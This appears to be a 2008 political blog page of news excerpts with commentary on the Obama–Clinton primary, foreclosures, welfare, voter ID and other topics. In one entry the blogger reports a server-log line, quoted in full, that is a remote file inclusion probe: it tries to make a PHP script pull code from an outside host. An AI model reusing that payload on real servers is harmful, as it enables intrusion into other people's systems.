Prometheus 6

Like most people in Mingo County, West Virginia, Leonard Simpson is a lifelong Democrat. But given a choice between Barack Obama and John McCain in November, the 67-year-old retired coalminer would vote Republican.

“I heard that Obama is a Muslim and his wife’s an atheist,” said Mr Simpson, drawing on a cigarette outside the fire station in Williamson, a coalmining town of 3,400 people surrounded by lush wooded hillsides.

If an Obama victory does nothing else but shut this fool up, I will be satisfied.

Face it, Democrats: Barack Obama's got a growing problem with whites
BY JUAN WILLIAMS
Sunday, May 11th 2008, 4:00 AM

Hillary Clinton, down to her last straw, is making the case that she is the better candidate to run against the Republicans because, unlike Barack Obama, she can win white Democrats.

She is right. But because she is daring to touch the hot button of racial politics, she is being told to shut up or risk being charged with exploiting racial tensions for political advantage.

I hesistated before posting it...

Ah! Rise, Hillary, Rise!

May Hillary please deliver a speech on Mother's Day to all the mothers on earth. Mother to mother we solve the problems we have encountered.

No mother wants to see her son or daughter die or inherit an arid, hateful earth - no father either - but most mothers are ... mothers. Hillary reaches to every mother on earth and, through them, to every child and even every father. Hillary is the Mother we all wish we had: tall, strong, sweet, smart, joyful and clear.

The world needs a real woman.

As Losses Mount, GOP Begins Looking in the Mirror
By Paul Kane
Washington Post Staff Writer
Sunday, May 11, 2008; A13

Since losing 30 seats and their 12-year stranglehold on power in 2006, House Republicans have kept asking themselves the same question: Can it get any worse?

On Tuesday, they may get another answer they won't like.

With lots of help from Washington -- including more than $1.3 million in campaign cash and a last-minute visit by Vice President Cheney -- Mississippi Republicans are desperately trying to retain a congressional seat in one of the most reliably conservative districts in the nation.

The stakes in the 1st District special election couldn't be higher, strategically or symbolically. The loss of a traditionally GOP seat to a Democrat would be the third in a special election this spring and the second in the Deep South after the May 3 victory of Rep. Don Cazayoux (D-La.).

Rank-and-file Republicans say that would force a day of reckoning for their leadership.

Especially in a capitalist economy.

Spread of Nuclear Capability Is Feared
Global Interest in Energy May Presage A New Arms Race
By Joby Warrick
Washington Post Staff Writer
Monday, May 12, 2008; A01

VIENNA -- At least 40 developing countries from the Persian Gulf region to Latin America have recently approached U.N. officials here to signal interest in starting nuclear power programs, a trend that concerned proliferation experts say could provide the building blocks of nuclear arsenals in some of those nations.

At least half a dozen countries have also said in the past four years that they are specifically planning to conduct enrichment or reprocessing of nuclear fuel, a prospect that could dramatically expand the global supply of plutonium and enriched uranium, according to U.S. and international nuclear officials and arms-control experts.

“They weren’t gangsters,” says Richard Kenvin, 47, a filmmaker who grew up surfing Windansea. “They were gangsta chic.”

Whatever you do, don't call it a gang. 

What seems beyond dispute is that a security guard at the bar asked Mr. Kauanui to leave and that Mr. House and four others — Mr. Cravens; Orlando Osuna, 23; Matthew Yanke, 21; and Henri Hendricks, 22 — later drove to Mr. Kauanui’s home, prosecutors say to retaliate against him.

Mr. Kauanui’s head “buckled up and down like a bobblehead doll” during the fight, Mr. Hendricks told the police. When Mr. Kauanui fell back onto the sidewalk, his head landed on the concrete with what Mr. Cravens described to the police as “a loud thud.”...

As word spread of Mr. Kauanui’s death — he died four days after the beating from head injuries at Scripps Memorial Hospital — more than a dozen people reported assaults by one or more members of the Bird Rock Bandits, most of which involved at least one of the defendants. By the end of last summer, all five men were facing not only charges of first-degree murder, but also the gang allegations.

Pro Surfer’s Death Exposes Beach Town’s Violent Side
By ABBY AGUIRRE

SAN DIEGO — The affluent community of La Jolla has long produced beach cliques, most formed around the inclination of surfers and other beachgoers to guard their local break.

In particular, the locals who frequent Windansea Beach — a storied break once frequented by the professional surfer Emery Kauanui Jr. and a little-known group whose members call themselves the Bird Rock Bandits — are among the most territorial in all of California.

But last spring, Mr. Kauanui was beaten to death, and five young men from La Jolla, all in their 20s, were charged in his murder. In court last week, prosecutors said that because the men were members of the Bird Rock Bandits, they should be prosecuted under tough state laws that apply to criminal street gangs.

The men have pleaded not guilty, suggesting that Mr. Kauanui’s death was an accident, and they deny that their group is a gang. At a hearing that began Wednesday, in San Diego Superior Court, their lawyers are seeking to have the gang-related allegations — so-called enhancements that can result in much stiffer penalties at sentencing — dropped.

“They are as much a gang as any fraternity,” said Mary Ellen Attridge, the lawyer for one of the men, Seth Cravens, 22.

When Mr. Bush hasn’t been busy saying no to worthy efforts, he has been endorsing Orwellian-named programs that have failed to address the problem effectively. Hope Now, the mortgage industry alliance that pledged a big effort five months ago to modify subprime loans, has barely made a dent. Project Lifeline, announced last February, has yet to release any results. The Times reported last month that another program much touted by Mr. Bush, FHA Secure, has helped fewer than 2,000 homeowners at risk of foreclosure.

Meanwhile, defaults, the first link in the foreclosure chain, are running at an annual pace of 2.2 million so far this year.

Saying No to Everything

Even before the House passed a new plan last week to prevent foreclosures, President Bush threatened to veto the bill, calling it “overly burdensome.” The bill is not burdensome enough.

To help an estimated 500,000 borrowers switch to federally insured loans, it relies on the voluntary participation of lenders, an approach that has doomed other foreclosure-prevention efforts.

WE don't get welfare. We get help, to stay off welfare.

The new strategy reflects, in part, a growing concern about the challenges facing the poor nearly 12 years after Congress overhauled welfare laws. While states have drastically reduced their welfare caseloads, research suggests that they have been far less successful in helping people find and keep jobs that lift families out of poverty.

That's because they weren't designed to lift anyone out of poverty. They were designed to reduce expenditures on poor folks. 

The trend has also been driven by new federal rules that require states to engage 50 percent of welfare recipients in work-related activities. By offering payments to people already working, states are also trying to ensure that they meet federal mandates and avoid steep fines.

Oh. Thar explains it...

State Programs Add Safety Net for the Poorest
By RACHEL L. SWARNS

LITTLE ROCK, Ark. — For years, state welfare offices like the one alongside Interstate 30 have drawn the unemployed. But these days, the red-brick building here is also attracting poor, working parents with an unexpected offer: $204 a month in cash.

Shelly Thomas, a stockroom clerk and single mother, is using her windfall from the State of Arkansas to tune up the old Chevrolet she drives to work. Talia Greenwood, a day care worker with four children, spends the money on gas, diapers and baby formula.

The women are pioneers in an emerging social experiment as states across the country try to go beyond simply moving people off welfare. Over the last two years, officials in Arkansas and at least a dozen other states have announced plans to extend the safety net — through monthly cash payments — to thousands of low-income workers struggling to gain a foothold in the work world. 

Most states focus on people who have left welfare for low-wage jobs. Officials believe that the programs, which typically combine several months of cash assistance with career counseling, health insurance and subsidized child care, will help low-wage workers weather family illnesses and cash shortages and deter them from cycling back onto the welfare rolls.

Lillie Lewis, 78, with a letter from Mississippi saying it had no record of her birth. “That’s downright wrong,” she said.

Voter ID Battle Shifts to Proof of Citizenship
By IAN URBINA

The battle over voting rights will expand this week as lawmakers in Missouri are expected to support a proposed constitutional amendment to enable election officials to require proof of citizenship from anyone registering to vote.

The measure would allow far more rigorous demands than the voter ID requirement recently upheld by the Supreme Court, in which voters had to prove their identity with a government-issued card.

Sponsors of the amendment — which requires the approval of voters to go into effect, possibly in an August referendum — say it is part of an effort to prevent illegal immigrants from affecting the political process. Critics say the measure could lead to the disenfranchisement of tens of thousands of legal residents who would find it difficult to prove their citizenship.

Not that I discount the possibility, but I suggest maintaining a healthy skepticism. 

In Dixie, Signs of a Rising Biracial Politics
By JACK BASS

Across the South, Barack Obama’s smashing primary victory in North Carolina last week reflects a new reality — a half-century of rising Republican red tide has crested, with signs of receding.

A week ago yesterday, Democrats won a special Congressional election in a Louisiana district held by Republicans since 1974. That outcome might well be replicated Tuesday in Mississippi, where a biracial Democratic coalition is optimistic in the second round of another special Congressional election.

Some former officials said putting aside money was meant to help correct mistakes, like forgetting to finance an important program, without having to formally seek approval for additional spending from the mayor. Council leaders once tried to create a general reserve fund for such contingencies, but the concept never took hold, so council officials set out to devise their own response to the problem....

“It’s a device that he has in his political arsenal,” said Eric Lane, a law professor at Hofstra University who was counsel to the charter revision commission. “In many ways the mayor can say, ‘You guys got yours, now just go along with the budget.’ ”

Longtime Practice of City Council Financing Lands on Speaker’s Shoulders
By DIANE CARDWELL

In the widening scandal that has revealed the peculiar accounting methods of the New York City Council, a harsh light has been cast on Christine C. Quinn, the Council speaker, who is being asked to answer for a system not of her own making.

Defined by phrases like “phantom organizations” and “slush funds,” the tale of how the Council stashed taxpayer dollars for later use in the names of fictitious groups has surprised watchdog organizations and private citizens. Criminal investigators are now poring over the spending habits of some council members to see if they funneled city money to groups with questionable programs or to whom they had close ties.

It is quickly becoming a campaign issue for officials staring at election battles, including Ms. Quinn, the first female speaker of the Council, who once seemed a promising hopeful for mayor.

But veterans of New York City politics say that many of the practices now being revealed are far from novel or rare. Indeed, they say, they are woven into the very fabric of city government, tough threads spun from the mayor’s near lock on power, which leaves lawmakers with few ways to wield influence, affect life in their communities or make a name for themselves.

I'm watching Carly Fiorina, "former CEO, Hewlett Packard" on ThisWeek. She's representing for John McCain.

She keeps saying, "I'm a businessperson. I know..." or "As a CEO, I can tell you..."

BUT SHE'S A FAILED BUSINESSPERSON.

Ms. Fiorina is the person that made me realize there's a class of people who simply are not allowed to fail. When she ceased being connected with HP, she was immediately short-listed for jobs like the President of the World Bank. Immediately, as in three weeks later.

I'm watching the Roundtable now.

Everyone is trying to soften the blow for Hillary and more...they're trying to salvage her reputation. I note the use of "I would argue," a construction I always challenge by saying, "So make the argument."

“Storage has my hopes in it,” said Mr. Martin, who sleeps on a foldout bed in his mother’s guest room. “I don’t tell anyone this, but at least once a week I go over and look at my couch, my refrigerator, my TV stand, my mattress and realize I did have a life, and maybe there’s a way to go back to it.”

Losing a Home, Then Losing All Out of Storage
By DAVID STREITFELD

ELK GROVE VILLAGE, Ill. — The foreclosure crisis is hitting yet another American locale: the self-storage center.

As they lose their homes, people are turning to these humble cinderblock and sheet-metal boxes to store their stuff. But some people cannot keep up with their storage bills any better than they could handle their mortgage payments, and storage companies are auctioning off their property for a pittance.

A cottage industry has developed to profit from these lost and abandoned items. The other day in this Chicago suburb, Stephanie Donahou and her son Marcus had only a moment to decide whether to bid on a unit in default. They could see a couch, a sewing machine, a fish tank, a washer and dryer, lots of Christmas wrapping paper, a television and other trappings of daily life.

Especially when one side plans an escalation before the fight even starts. 

Victor Wong, an 18-year-old senior, told The Times that the brawl grew out of a fight two days earlier between two graffiti gangs. He said Hispanic students who were friends of his asked him to participate in a fight planned for Friday that was to pit 10 Hispanic students against 10 black students.

The two groups met as planned at the handball courts, Mr. Wong said, but the fight quickly spread throughout the campus.

No real good guys here. Just sayin'... 

Los Angeles High School Breaks Out in Violence
By THE ASSOCIATED PRESS

LOS ANGELES (AP) — A fight at a troubled South Los Angeles high school escalated into a campuswide brawl involving as many as 600 students before it was quelled by police officers in riot gear.

Those who favor continuing these policies have not met their burden of proving their efficacy in fighting crime. Nor have they have persuasively justified the yawning racial disparities.

Our young darlings from the middle class are using heroin on Long Island nowadays. Get them and the racial imbalance will straighten itself out pretty quickly.

Racial Inequity and Drug Arrests

The United States prison system keeps marking shameful milestones. In late February, the Pew Center on the States released a report showing that more than 1 in 100 American adults are presently behind bars — an astonishingly high rate of incarceration notably skewed along racial lines. One in nine black men aged 20 to 34 are serving time, as are 1 in 36 adult Hispanic men.

While doing my periodic log check I saw this attempt to probe my system for a vulnerability.

http://www.prometheus6.org/includes/agent_browser.php/Archive/Tar.php?
addString=http://www.hotghettomess.com/picture_library/pictures/com_pixel/r0x.id.txt???

It's easy enough to spoof the IP address but that file on www.hotghettomess.com will be on their server, which means the prober has access to your server. In fact, it might be you.

...it’s one thing to lack class and a sense of grace, quite another to deliberately try and wreck the presidential prospects of your party’s likely nominee — and to do it in a way that has the potential to undermine the substantial racial progress that has been made in this country over many years.

Seeds of Destruction
By BOB HERBERT

The Clintons have never understood how to exit the stage gracefully.

Their repertoire has always been deficient in grace and class. So there was Hillary Clinton cold-bloodedly asserting to USA Today that she was the candidate favored by “hard-working Americans, white Americans,” and that her opponent, Barack Obama, the black candidate, just can’t cut it with that crowd.

“There’s a pattern emerging here,” said Mrs. Clinton.

There is, indeed. There was a name for it when the Republicans were using that kind of lousy rhetoric to good effect: it was called the Southern strategy, although it was hardly limited to the South. Now the Clintons, in their desperation to find some way — any way — back to the White House, have leapt aboard that sorry train.

He can’t win! Don’t you understand? He’s black! He’s black!

E-Mail Shows Racial Jokes by Secret Service Supervisors
By DAVID JOHNSTON

WASHINGTON — Secret Service supervisors shared crude sexual jokes and engaged in racially derogatory banter about blacks, and passed around an anecdote about a possible assassination of the Rev. Jesse Jackson, according to internal e-mail disclosed in a federal court filing on Friday by lawyers for black Secret Service agents.

The filing includes 10 e-mail messages that were among documents the agency recently turned over to lawyers for the black agents as part of an increasingly bitter discrimination lawsuit. The messages were written mainly from 2003 through 2005, and were sent to and from e-mail accounts of at least 20 Secret Service supervisors.

The messages offer a glimpse into the darker recesses of an agency known for protecting presidents and other dignitaries but whose culture is regarded as one of the most insular in federal law enforcement.

Well...

Recent reports in the U.K. media indicate that the laws are being used for everything but terrorism investigations:

• Derby City Council, Bolton, Gateshead, and Hartlepool used surveillance to investigate dog fouling.
• Bolton Council also used the act to investigate littering.
• The London borough of Kensington and Chelsea conducted surveillance on the misuse of a disabled parking pass.
• Liverpool City Council used Ripa to identify a false claim for damages.
• Conwy Council used the law to spy on a person who was working while off sick.

CCTV boom has failed to slash crime, say police
Owen Bowcott
The Guardian,
Tuesday May 6 2008

Massive investment in CCTV cameras to prevent crime in the UK has failed to have a significant impact, despite billions of pounds spent on the new technology, a senior police officer piloting a new database has warned. Only 3% of street robberies in London were solved using CCTV images, despite the fact that Britain has more security cameras than any other country in Europe.

The warning comes from the head of the Visual Images, Identifications and Detections Office (Viido) at New Scotland Yard as the force launches a series of initiatives to try to boost conviction rates using CCTV evidence.

Black Community Is Increasingly Protective of Obama
By Darryl Fears
Washington Post Staff Writer
Saturday, May 10, 2008; A04

In black America, oh, how the mighty have fallen.

Bill Clinton is no longer revered as the "first black president." Tavis Smiley's rapid-fire commentaries on a popular radio show have been silenced. And the Rev. Jeremiah A. Wright Jr., self-described defender of the black church, has been derided by many on the Web as an old man who needs to "step off."

They all landed in the black community's doghouse after being viewed as endangering Sen. Barack Obama's chances of being elected president. And the community's desire to protect the first African American ever to be in this position may only grow with his win in North Carolina and his close loss in Indiana this week.

McCain called the dispute "hardly worth our time," adding: "This happened eight years ago."

McCain Disputes Accounts, Says He Voted for Bush

Two Hollywood actors who dined with Sen. John McCain (R-Ariz.) in early 2001 at actress Candice Bergen's home confirmed reports that he told the assembled group he did not vote for George W. Bush in the 2000 election, but McCain denied the claim at a news conference.

In separate phone interviews, Bradley Whitford and Richard Schiff -- both of whom starred in television's "The West Wing" -- said late Thursday night that the senator made the remarks after he spoke at length about his reservations about Bush becoming president. Liberal blogger Arianna Huffington first wrote about the incident Monday, asserting that neither McCain nor his wife Cindy backed Bush in his first presidential bid, and the Los Angeles Times reported Wednesday that an unidentified woman who was also at the dinner confirmed Huffington's account.

Okay, it's not. The DMCA needs to go AND we need net neutrality guaranteed.  

"The bill squarely addresses the issue of the enormous market power of the telephone and cable companies as the providers of 98 percent of the broadband service in the country," said Gigi Sohn, president of Public Knowledge. "The bill restores the principle of nondiscrimination that allowed the Internet to flourish in the dial-up era, making certain that the same freedom and innovation will flourish in the broadband era without burdensome regulation."

Lawmakers Introduce New Net Neutrality Bill
By GRANT GROSS, IDG News Service\Washington Bureau, IDG

Two Democrats in the U.S. House of Representatives have introduced a bill that would subject broadband providers to antitrust violations if they block or slow Internet traffic.